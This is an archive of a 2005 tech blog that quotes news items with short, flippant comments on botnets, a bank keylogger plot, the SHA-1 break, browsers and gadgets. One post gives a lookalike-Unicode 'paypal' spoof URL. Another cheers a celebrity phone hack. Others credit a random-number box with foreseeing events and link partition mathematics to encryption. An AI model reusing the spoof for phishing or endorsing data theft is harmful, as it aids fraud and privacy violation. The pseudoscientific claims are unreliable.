Sexy Jihad

We've Moved!!!

2005-04-09T19:21:00.000+02:00

Hello people,

The blog has now been moved to a new address. This because of the problems blogspot has been havind these past few months.

Move On, nothing to see here ;-)

Srinivasa Ramanujan Partition Formula Proved For All Prime Numbers

2005-03-23T09:41:00.000+01:00

Yup, someone's done it. It's finally been proved. Excerpt:

Ramanujan noticed that whole numbers can be broken into sums of smaller numbers, called partitions. The number 4, for example, contains five partitions: 4, 3+1, 2+2, 1+1+2, and 1+1+1+1.

He further realised that curious patterns - called congruences - occurred for some numbers in that the number of partitions was divisible by 5, 7, and 11. For example, the number of partitions for any number ending in 4 or 9 is divisible by 5.

"But in some sense, no one understood why you could divide the partitions of 4 or 9 into five equal groups," says George Andrews, a mathematician at Pennsylvania State University in University Park, US. That changed in the 1940s, when physicist Freeman Dyson discovered a rule, called a "rank", explaining the congruences for 5 and 7. That set off a concerted search for a rule that covered 11 as well - a solution called the "crank" that Andrews and colleague Frank Garvan of the University of Florida, US, helped deduce in the 1980s.

Quite cool indeed. This is possibly also a major step forward for modern encryption, as most of the algorithms use prime numbers for generating keys. For more information on Srinivasa Ramanujan check out this site.

Greek Prison Guards Issued With Guns Dating From 1911

2005-03-19T17:07:00.000+01:00

A ridiculous situation. Excerpt:

Greek prison guards are to go on strike to demand a replacement of their antiquated American-made guns.

The weapons were used by the US Cavalry in 1911 and safety experts have advised that they should not be fired.

Prison staff are now concerned about security as inmates have become wise to the faulty arsenal and escape attempts are on the increase.

Officers are calling for new weapons and more staff to deal with the country's growing prison population.

Prison officers guarding Greece's prison perimeters complain that the guns no longer scare inmates, who have become more daring believing they will not be fired at.

If this were a movie it would be funny. Not so funny if you're a guard yourself...

High Tech Bank Robbery Foiled

2005-03-17T09:14:00.000+01:00

The BBC reports that the biggest robbery attempt to date has been foiled and someone has been arrested in Israel. Excerpt:

Police in London say they have foiled one of the biggest robbery attempts seen in Britain.

The plan was to steal £220m (($423m) from the London offices of the Japanese bank Sumitomo Mitsui.

Computer experts are believed to have tried to transfer the money electronically after hacking into the bank's systems.

A man has been arrested by police in Israel after the plot was uncovered by the National Hi-Tech Crime Unit.

Unit members worked closely with Israeli police.

The investigation was started last October after it was discovered that computer hackers had gained access to Sumitomo Mitsui bank's computer system in London.

They managed to infiltrate the system with keylogging software that would have enabled them to track every button pressed on computer keyboards.

Tsk tsk. Looks like someone's been opening emails they shouldn't have...

Know your Enemy: Tracking Botnets

2005-03-14T18:39:00.000+01:00

A cool paper on honynet.org about the current state of botnets. Excerpt:

Honeypots are a well known technique for discovering the tools, tactics, and motives of attackers. In this paper we look at a special kind of threat: the individuals and organizations who run botnets. A botnet is a network of compromised machines that can be remotely controlled by an attacker. Due to their immense size (tens of thousands of systems can be linked together), they pose a severe threat to the community. With the help of honeynets we can observe the people who run botnets - a task that is difficult using other techniques. Due to the wealth of data logged, it is possible to reconstruct the actions of attackers, the tools they use, and study them in detail. In this paper we take a closer look at botnets, common attack techniques, and the individuals involved.

We start with an introduction to botnets and how they work, with examples of their uses. We then briefly analyze the three most common bot variants used. Next we discuss a technique to observe botnets, allowing us to monitor the botnet and observe all commands issued by the attacker. We present common behavior we captured, as well as statistics on the quantitative information learned through monitoring more than one hundred botnets during the last few months. We conclude with an overview of lessons learned and point out further research topics in the area of botnet-tracking, including a tool called mwcollect2 that focuses on collecting malware in an automated fashion.
Introduction

These days, home PCs are a desirable target for attackers. Most of these systems run Microsoft Windows and often are not properly patched or secured behind a firewall, leaving them vulnerable to attack. In addition to these direct attacks, indirect attacks against programs the victim uses are steadily increasing. Examples of these indirect attacks include malicious HTML-files that exploit vulnerabilities in Microsoft's Internet Explorer or attacks using malware in Peer-to-Peer networks. Especially machines with broadband connection that are always on are a valuable target for attackers. As broadband connections increase, so to do the number of potential victims of attacks. Crackers benefit from this situation and use it for their own advantage. With automated techniques they scan specific network ranges of the Internet searching for vulnerable systems with known weaknesses. Attackers often target Class B networks (/16 in CIDR notation) or smaller net-ranges. Once these attackers have compromised a machine, they install a so called IRC bot - also called zombie or drone - on it. Internet Relay Chat (IRC) is a form of real-time communication over the Internet. It is mainly designed for group (one-to-many) communication in discussion forums called channels, but also allows one-to-one communication. More information about IRC can be found on Wikipedia.

We have identified many different versions of IRC-based bots (in the following we use the term bot) with varying degrees of sophistication and implemented commands, but all have something in common. The bot joins a specific IRC channel on an IRC server and waits there for further commands. This allows an attacker to remotely control this bot and use it for fun and also for profit. Attackers even go a step further and bring different bots together. Such a structure, consisting of many compromised machines which can be managed from an IRC channel, is called a botnet. IRC is not the best solution since the communication between bots and their controllers is rather bloated, a simpler communication protocol would suffice. But IRC offers several advantages: IRC Servers are freely available and are easy to set up, and many attackers have years of IRC communication experience.

A very nice summary of how botnets work (and don't work so well sometimes).

P1mp Your iPod

2005-03-14T11:26:00.000+01:00

Someone has written a guide on how to connect an external hard disk to your iPod. Excerpt:

What is this about?
Ultimately, I’d like to get a regular 3.5″ hard drive working with the iPod and explore what capacities it can make use of. The fact that it would be a huge unit will simply be a novelty.

Why do this?
This project came about after I dropped my 40 GB 3rd generation iPod and killed the hard drive in it. I decided to open up the iPod and see what I could do with it. I could do so without fear of breaking it, since I’d already broken the most expensive part in it.

Wow. Cool hack. Now you can walk around with 300 gigs of music in your pocket ;-)

Old Portable Phones Worth Big Bucks

2005-03-14T11:19:00.000+01:00

If you have an old portable phone collecting dust, don't throw it away, as they're now fetching big bucks:

Yuppies are getting their revenge with the "brick" mobile phones of the 80s becoming collectable investments.

These huge fledgling mobiles may be impractical but a wave of nostalgia for those bygone days of red braces is helping values rocket.

Until recently, the earliest models were treated as useless relics, but well-preserved phones now fetch £100 or more and experts predict prices will soar much higher. Olly Tagg, 34, of Colsterworth in Lincolnshire, is an avid collector. Married to teacher Gudrun, 35, with daughters Inga, eight, and Orla, five, he runs a phone recycling company, CMR and online store Retrofone.

He explains: "A few years ago, you would be laughed at for owning an ancient mobile as it was considered nothing more than worthless junk.

"However, now that the mobile phone has become established as a key tool in our modern lives, their unique place in history is being re-assessed. Of course, the old bricks also look pretty cool."

The grand-daddy mobile is the Motorola Dynatec 8000x launched in 1983. It looked more like a doorstep than a brick and boasted a one-hour talk time, all for £1,200 new.

The InfoSpace Con

2005-03-12T11:53:00.000+01:00

The Seattle Times has an interesting story on the rise and fall of InfoSpace, and how they were able to con people out of billions:

Five years ago this week, at the height of the dot-com stock frenzy, a young Bellevue company called InfoSpace was worth more than Boeing.

Wall Street analysts hailed the startup, which promised to bring the Internet to everyone's cellphone, as "a new Microsoft," and its charismatic leader, Naveen Jain, as a visionary.

Microsoft co-founder Paul Allen had hundreds of millions invested. Small investors such as Bev Hess, a real-estate agent in Phillips, Neb., poured their retirement savings into what appeared to be a sure bet.

At its peak, InfoSpace was the Northwest's biggest Internet business, worth more than $31 billion. Jain, a man obsessed with being more successful than Bill Gates, was himself worth $8 billion. He bought a palatial waterfront home in Medina down the street from his idol and another nearby on Mercer Island, along with two yachts and a piece of the Seattle SuperSonics.

Amazing how someone thinks they can get away with something like this.

Pimp My Shoes

2005-03-11T17:58:00.000+01:00

It seems that Adidas are about to release a wicked set of shoes. These things have chip and electric motor inside of them to adapt the shoe to:

The terrain you're running on
Your weight
Your running style

It seems that the chip reads all of this data 1000 times a second and then adjusts your shoe for optimum results. This is REALLY cool (and probably outrageously expensive). I wonder how long it'll take before someone ports NetBSD to this ;-)

Virgin Radio first to offer 3G broadcast

2005-03-08T14:45:00.000+01:00

Virgin Radio is about to be the first radio station to offer services over 3G phones:

UK broadcaster Virgin Radio says it will become the first station in the world to offer radio via 3G mobiles.

The radio station, in partnership with technology firm Sydus, will broadcast on selected 2G and high-speed 3G networks.

Later this year listeners will be able to download software from the Virgin website which enables the service.

While this is undoubtedly very cool, it is also bloody expensive at the time of writing. I for one can't wait till someone introduces a flat fee 3G subscription so I can listen to non commercial internet radio stations (like Bassdrive) everywhere I go.

Services like these are what will make GSMs iPod killers in the future.

Student Arrested For Writing Story

2005-03-07T15:12:00.000+01:00

A student at some high school in Winchester (US), has been arrested for writing a story about zombies shooting up his school. Apperantly, according to the police, writing a story like this constitutes planning a terrorist act. Excerpt:

A George Rogers Clark High School junior arrested Tuesday for making terrorist threats told LEX 18 News Thursday that the "writings" that got him arrested are being taken out of context.

Winchester police say William Poole, 18, was taken into custody Tuesday morning. Investigators say they discovered materials at Poole's home that outline possible acts of violence aimed at students, teachers, and police.

Poole told LEX 18 that the whole incident is a big misunderstanding. He claims that what his grandparents found in his journal and turned into police was a short story he wrote for English class.

"My story is based on fiction," said Poole, who faces a second-degree felony terrorist threatening charge. "It's a fake story. I made it up. I've been working on one of my short stories, (and) the short story they found was about zombies. Yes, it did say a high school. It was about a high school over ran by zombies."

Even so, police say the nature of the story makes it a felony. "Anytime you make any threat or possess matter involving a school or function it's a felony in the state of Kentucky," said Winchester Police detective Steven Caudill.

Poole disputes that he was threatening anyone.

"It didn't mention nobody who lives in Clark County, didn't mention (George Rogers Clark High School), didn't mention no principal or cops, nothing,"
said Poole. "Half the people at high school know me. They know I'm not that stupid, that crazy."

On Thursday, a judge raised Poole's bond from one to five thousand dollars after prosecutors requested it, citing the seriousness of the charge.

Poole is being held at the Clark County Detention Center.

Yet another story about how FUD gets its ugly pudgy little hands on sanity and reason. Its sad, just plain sad.....

Asterisk PBX HOWTO

2005-03-07T10:54:00.000+01:00

Just came across an Asterisk HOWTO. Excerpt:

What would it mean to you to have your own full-featured PBX system at your home or small office? What would it mean to you if you could build an entire PBX system (minus the phones) on hardware you probably have laying around, AND that it can probably also save you money on your phone bill? Sounds too hard to believe doesn't it, but using old hardware and some open source software, you really can build a commercial quality phone system that would normally cost thousands of dollars.

Asterisk for n00bs. Too bad we don't have a decent VOIP Service where I live yet :-(.

Spyware Gets More Bloated By The Day

2005-03-06T12:54:00.000+01:00

Now those sons of bitches are just going too far:

The last few days, reports had come back to me at my workplace that someone, somewhere was downloading gigabytes of data onto their PCs. In fact, not just one person - lots of them. Somewhat bemused, I began to investigate and promptly turned up nothing - no network scans picked up anything untoward, no digging through the proxy log revealed anything and all we could do was assume a pirate-film king had started up his own little enterprise on our servers.

The truth is actually far worse.

A little cross-security guy networking later, and it turns out that halfway across the globe, one Eric L Howes was puzzling over a machine slowly dying a death whilst sifting through some ads served by iowrestling.com. Imagine his surprise when he discovered he was 65MB of space down on his PC.

65Mb of Microsoft .NET Framework 1.1 was downloaded and installed without asking permission, or even indicating that such a download was underway.

And that's in addition to the wonderful deluge of malware and served adverts that came with it.

65 MB ?!? .NET? At least in the good old days virusses were efficient. This just shows laziness and stupidity on the part of the programmer, like no ones going to notice a 65MB install.....

Something has to be done about this. Something fast. These people must suffer for what they do. Heck, they should be punished just for using that piece of garbage Microsoft calls .NET. I propose whippings on public squares. Who's with me?

Fossett Did It!

2005-03-03T20:59:00.000+01:00

After some trouble US adventurer Steve Fossett has achieved the first solo, non-stop flight around the globe.

Despite a fuel shortage, the 60-year-old pilot landed the Virgin GlobalFlyer plane at Salina airport in Kansas at 1948 GMT.

The millionaire had considered aborting the trip and landing in Hawaii, but he decided to press on because of favourable tail winds.

Mr Fossett said he was "really starting to perk up" as he neared the end.

On this day the last of the great aviation records has been bronken. Well done Mr Fossett (and team behind him), Well done indeed!

Control your iPod via your Onkyo Reciever

2005-02-27T15:20:00.000+01:00

Own an Onkyo AV amp and an iPod? Prepare the two for some conjugal bliss. The Japanese company is partnering with Apple to develop a docking station and control unit that’ll allow you to control your iPod via Onkyo remote controls. One cable weds docking station to RI port, and two phono cables handle sound output to the Onkyo’s tape deck input. The bad news (isn’t there always some bad news?) is, you won’t be able to gander at the iPod’s track lists via the Onkyo amp display until they upgrade the system next year. Until then, consider this yet another creative way to convert your regular iPod into an iPod shuffle.

This is REALLY sweet if they can make it user friendly. Seeing as Apple's also I partner in this I have no doubt that it can work. Now the only thing that's missing is an Ipod car kit with docking station....

Firefox 1.0.1 Out

2005-02-25T11:39:00.000+01:00

A new version of firefox has been released. Version 1.0.1 has several security fixes, including a fix for spoofing domain names with unicode. For more information check out the release notes.

Sigarchi jailed for 14 years

2005-02-25T03:24:00.000+01:00

It looks like Mr. Sigarchi has been jailed for 14 years. This is just a travesty. I can't believe someone can be put away just for blogging what's on his mind. This is pitiful, just pitiful. Excerpt:

An Iranian weblogger has been jailed for 14 years on charges of spying and aiding foreign counter-revolutionaries.

Arash Sigarchi was arrested last month after using his blog to criticise the arrest of other online journalists.

Mr Sigarchi, who also edits a newspaper in northern Iran, was sentenced by a revolutionary court in the Gilan area.

His sentence, criticised by human rights watchdog Reporters Without Borders, comes a day after an online "day of action" to secure his release.

Iranian authorities have recently clamped down on the growing popularity of weblogs, restricting access to major blogging sites from within Iran.

................

Curt Hopkins said Mr Sigarchi's sentence would not dent the resolve of bloggers joining the campaign to help highlight the case.

"The eyes of 8 million bloggers are going to be more focused on Iran since Sigarchi's sentence, not less.

"The mullahs won't be able to make a move without it be spread across the blogosphere."

Altough I doubt it will change much, we WILL be watching you.....

Looks like we were all conned by LokiTorrent

2005-02-25T02:26:00.000+01:00

Some guy has posted a story on how lokitorrent was probably NOT shut down by the MPAA and that the owner just took the lawsuit donation money and ran. He makes some good points.

For those of you who have been living on the moon these past couple of months, the owner of Lokitorrent asked for donation money for a so called lawsuit against the MPAA. He got at least $30.000 from said donations.

A few weeks ago the site was shut down by the "MPAA". Evidence points that there is a good possibility that lokitorrent man faked the MPAA shut down and just split with the money. Excerpt:

At the end of December 2004, the RIAA and MPAA began an international rampage in efforts to close down major bit torrent and ed2k file sharing sites.

Some sites like Suprnova.org, Youceff.com, ShareTv.com, and others went down without a fight while other sites, including ShareConnector and Releases4U were closed down by authorities.

The lawsuits set off a wide spread of panic and dismay within the p2p community as many of the veteran ed2k and torrent contributing societys soon found themselves "homeless" and their works "confisquated" by investigative authorities.

During the turmoil, one such MPAA targeted Bit Torrent site claimed it was willing to stand up against the evil powers of motion picture media thugs by fighting the legal issues in a court of law. LokiTorrent.com began accepting donations from the p2p community to support what they called "necessary legal fee's".

According to a Slyck.com - January 3, 2005 (Slyck.com promoted people to donate to Loki Torrent), within two weeks (5 days public) of announcing their fund raising campaign, Loki Torrents was only $710.00 dollars away from reaching their initial goal. At the time of writing Slyck.com's initial article, Loki Torrent claimed to have raised an impressive $29,290.00 from the p2p community.

Today, just weeks after the initial Slyck.com interview with Edward Webber, owner of LokiTorrent.com, the entire p2p file share community is back in turmoil.

Super Mario Brothers

2005-02-25T02:09:00.000+01:00

Again, we have some people with too much free time who decided to make a Mario Bros Mural with Post Its. Excerpt:

Super Mario Bros. (Miyamato, et. al.,1986) was an inspiration to many of todays computer engineers. In celebration of Engineering Week, this large format work was created as an homage to the inspirational works of these and other great computer engineers and scientists. Currently 3/4 of this work is still visible at the E2 building at UCSC, it is scheduled to be removed Friday night.

Free Mojtaba and Arash!

2005-02-22T19:07:00.000+01:00

Cyrix Hotplate Howto

2005-02-22T16:40:00.000+01:00

This is a sweet hack for any old processors you may have lying around. Excerpt:

Welcome to the 21st century. The age of conservation, renewable materials and Jolene Blalock. As we're urged to replace our gaming equipment on a weekly basis, many tonnes of silicon, lead, and copies of Daikatana make it into our planet's landfills.

At RabidHardware we strive to be environmentally sound (so says our lawyers). By re-using hardware we would have so hastily discarded in our youth, we can now give our dear Earth a new lease on life. Seeing how the Great White North is in the middle of one of the more colder winters as of late, and I'm on a budget (read: cheap bastard), I figure we could get two birds stoned at once with this latest project: A CPU-driven hotplate.

Enter the intrepid Cyrix(tm) Central Processing Unit. Instead of piling the landfills with these retired, non-biodegradable heathens (or donating them to NASA for shuttle heat shielding), we may as well put em to further use. So what do we do instead you ask? Well, there is only one thing a Cyrix CPU does well besides reflecting heat, and that is producing it.

To do this we'll be using 7 6x86 Cyrix CPUs ranging from 100mhz to 150mhz, dissipating an upwards of 20+ watts each. All chips will be supplied with 5v regardless of their original requirements, which I imagine will also improve the thermal output.

I wonder how much heat current processors will be able to produce once they're obsolete enough to use for this kind of thing ;)

Paris Hilton Hax0red

2005-02-21T12:55:00.000+01:00

Yup, Paris Hilton's phone has been hAx0red once again. They managed to dig up dirty camphone shots (right alongside shots of her holding a baby and hanging out with kids—oh, Paris), her notebook, and her address book, which has had such high-brow, mover-and-shaker entries as: Christina Aguilera, Devo Aoki, Fred Durst, Jermaine Dupri, Vicki Gotti, Stephen King, David Lachappelle, Avril Lavigne, Lindsay Lohan, Bijou Phillips, Ashlee Simpson, Twiggy, Usher, and Vin Diesel.

Hehe, nice one......

Inside The Mind Of A Savant

2005-02-20T01:44:00.000+01:00

The Guardian reports:

Daniel Tammet is an autistic savant. He can perform mind-boggling mathematical calculations at breakneck speeds. But unlike other savants, who can perform similar feats, Tammet can describe how he does it. He speaks seven languages and is even devising his own language. Now scientists are asking whether his exceptional abilities are the key to unlock the secrets of autism.

Daniel Tammet is talking. As he talks, he studies my shirt and counts the stitches. Ever since the age of three, when he suffered an epileptic fit, Tammet has been obsessed with counting. Now he is 26, and a mathematical genius who can figure out cube roots quicker than a calculator and recall pi to 22,514 decimal places. He also happens to be autistic, which is why he can't drive a car, wire a plug, or tell right from left. He lives with extraordinary ability and disability.

Tammet is calculating 377 multiplied by 795. Actually, he isn't "calculating": there is nothing conscious about what he is doing. He arrives at the answer instantly. Since his epileptic fit, he has been able to see numbers as shapes, colours and textures. The number two, for instance, is a motion, and five is a clap of thunder. "When I multiply numbers together, I see two shapes. The image starts to change and evolve, and a third shape emerges. That's the answer. It's mental imagery. It's like maths without having to think."

This is really fascinating. An autistic savant that can explain how he does the things he does. It's also fascinating to see how the human brain compensates for disability. The really cool stuff is that any of us can train our brain to do the same things, even if only to a much lower ability.

Amiga 600 as Car MP3 Player

2005-02-18T15:18:00.000+01:00

Some dude has modded an Amiga 600 for use as a Car MP3 Player!. Excerpt:

Computer: Amiga 600 (nearly an Amiga 500), 7 MHz, 6 MB Ram, a 24 x notebook cdrom-drive, 4 GB harddisk (YES, only seven MHz, it's more than enough if you don't use Windows...!!! And ok, 1 MB Ram would be more than enough, but you know, more is nicer! :-)

This is really sweet use of old hardware. I can't believe that a computer that's now almost 20 years old can do something so cool. a 386 can't even play MP3s properly, and an Amiga 600 is almost twice it's age!

l33t h@x0r tA1k 4 dUmm135

2005-02-18T11:20:00.000+01:00

Another article from Microsoft that goes too far and is (unintentionally) funny. Excerpt:

While it's important to respect your children's privacy, understanding what your teenager's online slang means and how to decipher it is important as you help guide their online experience. While it has many nicknames, information-age slang is commonly referred to as leetspeek, or leet for short. Leet (a vernacular form of "elite") is a specific type of computer slang where a user replaces regular letters with other keyboard characters to form words phonetically—creating the digital equivalent of pig Latin with a twist of hieroglyphics.

Leet words can be expressed in hundreds of ways using different substitutions and combinations, but once one understands that nearly all characters are formed as phonemes and symbols, leetspeek isn't difficult to translate.

It's important to remember that the leetspeek community encourages new forms and awards individual creativity, resulting in a dynamic written language that eludes conformity or consistency. However, there are a few standard terms. The following is a sample of key words that haven't changed fundamentally (although variations occur) since the invention of leetspeek. The first series is of particular concern, as their use could be an indicator that your teenager is involved in the theft of intellectual property, particularly licensed software.

If a parent has to look up this page to realize there's something wrong with their kids something else is amiss.......

Harrods To Sell Holographic Television System

2005-02-17T19:03:00.000+01:00

Harrods is now selling a sweet Holographic Television, called the CLARO. Excerpt:

The CLARO represents the latest innovation in TV and display technology combined with a visual design aesthetic to introduce the TV system of the future - a transparent glass TV and media system utilising holographic technology.

The Holoscreen is a revolutionary holographic film which displays any image fed through a projector at a specific angle on to a transparent display. All other light is ignored. The result is a remarkably bright and sharp image quality - even in brightly lit environments. The screen is a 1.5m x 1.0m rectangle of 10mm glass with a 610mm x 814mm sheet of translucent attached to it. Any type of projector can be used to cast the image. To complete the futuristic setup, a pair of optional Ferguson Hill FH001 speakers can be positioned either side of the screen.

Looking more like space-age satellite dishes the speakers stand an impressive 1.65m high by 0.92m wide by 0.72m deep. The whole system sells for £25,000 of which the speakers make up £9,999 of the price tag. They are driven by modified Lowther DX3's.

The projector renders a huge forty inch image on the glass screen that seems to hang in mid air. Due to the science of the angles involved the image seems bright and clear even in an environment with plenty of other light about. The projector can take various simultaneous inputs such as TV, DVD and computer. In a standard instillation the projector sits on the floor about 5 feet behind the screen, so while the bulkiness of rear projection screens has literally vanished, it actually occupies a greater amount of space.

The CLARO glass TV and monitor will accept all inputs for playback on screen. From cable services to free to air Television, DVD, video, PC or laptop, even games consoles - pretty much anything you can plug into a television or computer screen.

This is some sweet sweet technology that would look SO good in my bedroom. Especially with those wicked space age speakers.

Firefox downloaded 25 million times!

2005-02-17T18:58:00.000+01:00

On February 15th, exactly 99 days after it was released, Firefox 1.0 smashed through the 25 million download milestone.

Thank you.

Thank you for helping us take this product from 25 to 25 million, from our little corner of the world to yours, from the technically elite to Karen and Rimone.

With a minimal set of tools—an affiliate system, a small donations fundraising system, blogs, galleries, forums, and the good old human larynx—you all are spreading Firefox to a quarter of a million people a day. More than 500,000 sites now link to Firefox according to Google—a fivefold increase from six months ago.

Very nice. Just a matter of time before the mainstream finally come to their senses!

New URL Unicode Spoofing Technique Revealed

2005-02-16T16:52:00.000+01:00

Another unicode based exploit. Because you can now use unicode in URLs it's quite easy to spoof them. Example:

http://www.paypal.com is the actual site and http://www.pаypal.com/ is the spoof URL.

The spoof URL is actually http://www.pаypal.com, which of course is the unicode character а, which looks exactly like an a. You don't need to be a genius to see where this is going....

For more info and a demo check out Secuna. Boingboing even has a possible fix.

Online Gaming Addiction Becoming A Problem

2005-02-16T16:13:00.000+01:00

Well, what we all saw coming is becoming reality. Now the BBC has an article about people who have gaming......Isues..... Excerpt:

"I can't talk to him while he is playing. There is absolutely no point as he doesn't hear me or is so distracted that I get a 'ummm... ya' a few minutes after I ask him a question."

"Gaming widows" has become a comedic term for women who have been shut out by male gamers. But for some it is not in the least funny.

Another correspondent wrote: "I believe that he is addicted to the online gaming, and that is the cause of his depression and restlessness."

And some of them are even sadder: "Today our son was five days old. "The sad truth is my husband spent 11 hours today playing his Warcraft game. He did not interact with our sweet tiny baby because there were important quests waiting online."

While I definatley agree that some people have problems, I also see the point in online games. It's easy to point the fingers, but when you look at the way a lot of people live, it's worse. Think about it, isn't it better to have some fun and excitment then sit in front of the boob tube doing nothing all night?

3 Year Old Newest Member Of MENSA

2005-02-16T15:35:00.000+01:00

The BBC reports that the newest (and youngest) memeber of MENSA is three year old Mikhail Ali. Excerpt:

Mikhail undertook a series of tests involving maths, picture and logic puzzles and number sequences.

Mrs Ali added: "Every day he amazes us, but underneath it all he's still our little boy too.

"He still plays with his toys and demands food."

A spokeswoman for the university said they were trying to contact the member of staff who carried out the tests to verify claims that Mikhail has an IQ of 137, putting him in the top two per cent of the population.

Before this the youngest ever member was 4. This is a clever young boy indeed.

Thunderbird 2.0 Roadmap

2005-02-16T09:58:00.000+01:00

Looks like Mozilla has released the roadmap for Thunderbird 2.0. An excerpt:

1.1 Goals
Inline spell checking (spell as you type)
Improved spell check engine. Update our version of myspell to the current version used by Open Office.org
Deleting attachments from e-mail
Auto Save As Draft
Phishing Detector: Thunderbird will attempt to detect email scams, warning users before they visit possible Phishing sites
Improved RSS Support including new subscriptions UI, OPML import, and podcasting
Software Auto Update
Options dialog re-organization based on the work being done for Firefox 1.1
Improved integration with anti-virus applications for POP3 users
Improved UI for managing SMTP servers

2.0 Goals
Working closely with the Lightning Project which adds calendar support to Thunderbird.
Trying to solve the information overload problem by looking into two things: Support for tabs (for folders and e-mail) and mail navigation history.
Most of the 2.0 goals that are not scheduled for 1.1 are still under discussion....

Looks like there's some cool stuff coming. I can't wait.

SHA-1 Bites The Dust

2005-02-16T09:26:00.000+01:00

It is time. Bruce Schneier reports that SHA-1 has been broken. He writes:

SHA-1 has been broken. Not a reduced-round version. Not a simplified version. The real thing.

The research team of Xiaoyun Wang, Yiqun Lisa Yin, and Hongbo Yu (mostly from Shandong University in China) have been quietly circulating a paper announcing their results.

This really is a big thing, as SHA-1 is used in a lot of protocols for hashing. For more info on collisions check wikipedia out.

Black Box that can see into the future

2005-02-13T14:06:00.000+01:00

DEEP in the basement of a dusty university library in Edinburgh lies a small black box, roughly the size of two cigarette packets side by side, that churns out random numbers in an endless stream.

At first glance it is an unremarkable piece of equipment. Encased in metal, it contains at its heart a microchip no more complex than the ones found in modern pocket calculators.

But, according to a growing band of top scientists, this box has quite extraordinary powers. It is, they claim, the 'eye' of a machine that appears capable of peering into the future and predicting major world events.

The machine apparently sensed the September 11 attacks on the World Trade Centre four hours before they happened - but in the fevered mood of conspiracy theories of the time, the claims were swiftly knocked back by sceptics. But last December, it also appeared to forewarn of the Asian tsunami just before the deep sea earthquake that precipitated the epic tragedy.

While at first sight they may sound like a subplot from Neon Genesis Evangelion, this is trully fascinating stuff. For more info check out the article and the Global Consciousness Project.

Criticism on Microsoft's Anit Openness Policy

2005-02-13T01:31:00.000+01:00

Just came across an opionion piece on The Register that debunks Bill Gates comments last week that Microsoft ranks interoperability as very important. Exerpt:

So, Mr. Gates, writes Hakon Lie, you say you believe in interoperability. Then why, pray tell, doesn't the web page of your interoperability communiqué conform to the HTML4 standard as it claims to? Why does the W3C validator diagnose 126 errors on your page?

You say you believe in interoperability. Then why is your document served in different versions to different browsers? Why does your server sniff out the Opera browser and send it different style sheets from the ones you send to Microsoft's own Internet Explorer (WinIE)? As a result, Opera renders the page differently.

You say you believe in interoperability. Why does the Hotmail service deny Opera access to the same scripts as Microsoft's own browser? As a result, Opera users can't delete junk mail.

Tsk tsk, why don't they just adhere to standards and get it over with once and for all. Even they must bow to the pressure one day.

Javascript can voodoo with XMLHttpRequest

2005-02-12T13:16:00.000+01:00

All in the HEAD has an article on some cool stuff that can be done with XMLHttpRequest. Excerpt:

With the advent of Google Suggest it seems that the industry has deemed that client-side XML HTTP is ready for the prime time. The technology is nothing new, of course, and has been part of every server-side developer’s standard toolkit for years, but whilst some browsers have maintained support for XML HTTP for a few years, it’s only recently that support has been widespread enough to utilise.

Interestingly enough, the XMLHttpRequest is not part of any public standard. The W3C DOM Level 3 ‘Load and Save’ spec covers similar ground, but you know how long these things take to get implemented. At the time of writing, if you need to use XML HTTP from a user agent, then the XMLHttpRequest object is the only way you can do it.

Browser Speed Test

2005-02-11T23:03:00.000+01:00

Somebody took the time to do a browser speed test. It Appears that firefox and IE are about the same, but firefox is faster with scripting. Conclusion:

So overall, Opera seems to be the fastest browser for windows. Firefox is not faster than Internet Explorer, except for scripting, but for standards support, security and features, it is a better choice. However, it is still not as fast as Opera, and Opera also offers a high level of standards support, security and features.

On Linux, Konqueror is the fastest for starting and viewing basic pages on KDE, but as soon as script or images are involved, or you want to use the back or forward buttons, or if you use Gnome, Opera is a faster choice, even though on KDE it will take a few seconds longer to start. Mozilla and Firefox give an overall good performance, but their script, cache handling and image-based page speed still cannot compare with Opera.

On Mac OS X, Opera and Safari are both very fast, with Safari 2 being faster at starting and rendering CSS, but with Opera still being distinguishably faster for rendering tables, scripting and history (especially compared with the much slower Safari 1.2). Camino is fast to start, but then it joins its sisters Mozilla and Firefox further down the list. Neither Mozilla, Firefox nor IE perform very well on Mac, being generally slower than on other operating systems.

On Mac OS 9, no single browser stands out as the fastest. In fact, my condolences to anyone who has to use one of them, they all perform badly.

Who Says You Can't Make Money On The Internet

2005-02-11T15:16:00.000+01:00

Excerpt:

I started something different today. I launched Asbestos News. Like I said, something different.

The subject matter, while weighty and all that, is of little importance to me. It's not that I don't have opinions on asbestos and asbestos reform, because I do. The whole point of the site is to experiment with an idea. I built a tool that helps me aggregate topical news with the help of Google's Alert system. So far it works wonderfully.

But there's a second motive as well. Right now asbestos reform and asbestos related litigation is on fire. Lawyers are paying anywhere from $15-100 per click through on Google ads. The second part of this big experiment is to see if I can capture some of that click through revenue while still providing a somewhat valid service to people who might arrive by search results.

I say somewhat valid, because despite the fact that I read every article and summarize the article in every blog entry, the speed at which it all happens seems too good to be true. Quite literally, the current 20 or so articles on the site took me about an hour of cumulative time to produce. Granted, I'm making it easier on my self by allowing Google to tell me where the news is, but that's the point of their service right? Also, I'm not expert. But over the course of just 20 blog entries, I might know more than the average Joe about asbestos.

I suspect that if Asbestos News does well, I'll probably try to find another hotbed topic to blog on, and will continue to spawn what I'll call, with trepidation, "topical news aggregator blogs" until the concept stops working.

I already take a much more personal approach with digitalslr.org and as far as advertising revenue goes it does fairly well compared to my original expectations. If I can emulate its success while doing less to get there, that's what I call a good thing.

So says Michael Buffington. Sweet simple way to make some extra dough.

Lokitorrent bites the dust

2005-02-11T11:57:00.000+01:00

Damn it, they got to LokiTorrent too. Damn them. Damn them all to hell!

Nintendo Definatley Losing It

2005-02-11T11:49:00.000+01:00

An article that makes an interesting point on tomshardware. Excerpt:

Like a few other gamers, I bought the new Nintendo DS the day it was released here in the U.S. (Nov. 21). I was hoping it would be the beginning of a resurgence for the console gaming pioneer. I was also optimistic that it would finally represent an attempt by Nintendo to capture older audiences, a segment of the population that they have never seemed interested in reaching out to before. Unfortunately, in spite of losing market share at an alarming rate, they won't climb onto what could be a life raft for them - the adult market. They are still choosing to focus almost entirely on pre-teens.

They may not realize that there are many adults out there now who grew up with Nintendo, and still want to connect with the company that was associated so strongly with video gaming in their youth. The new "geek chic" has made it acceptable for them to carry around handheld gaming devices that would have been socially verboten in the past. But despite this huge opportunity, Nintendo still chooses only to court America's pre-pubescent youth.

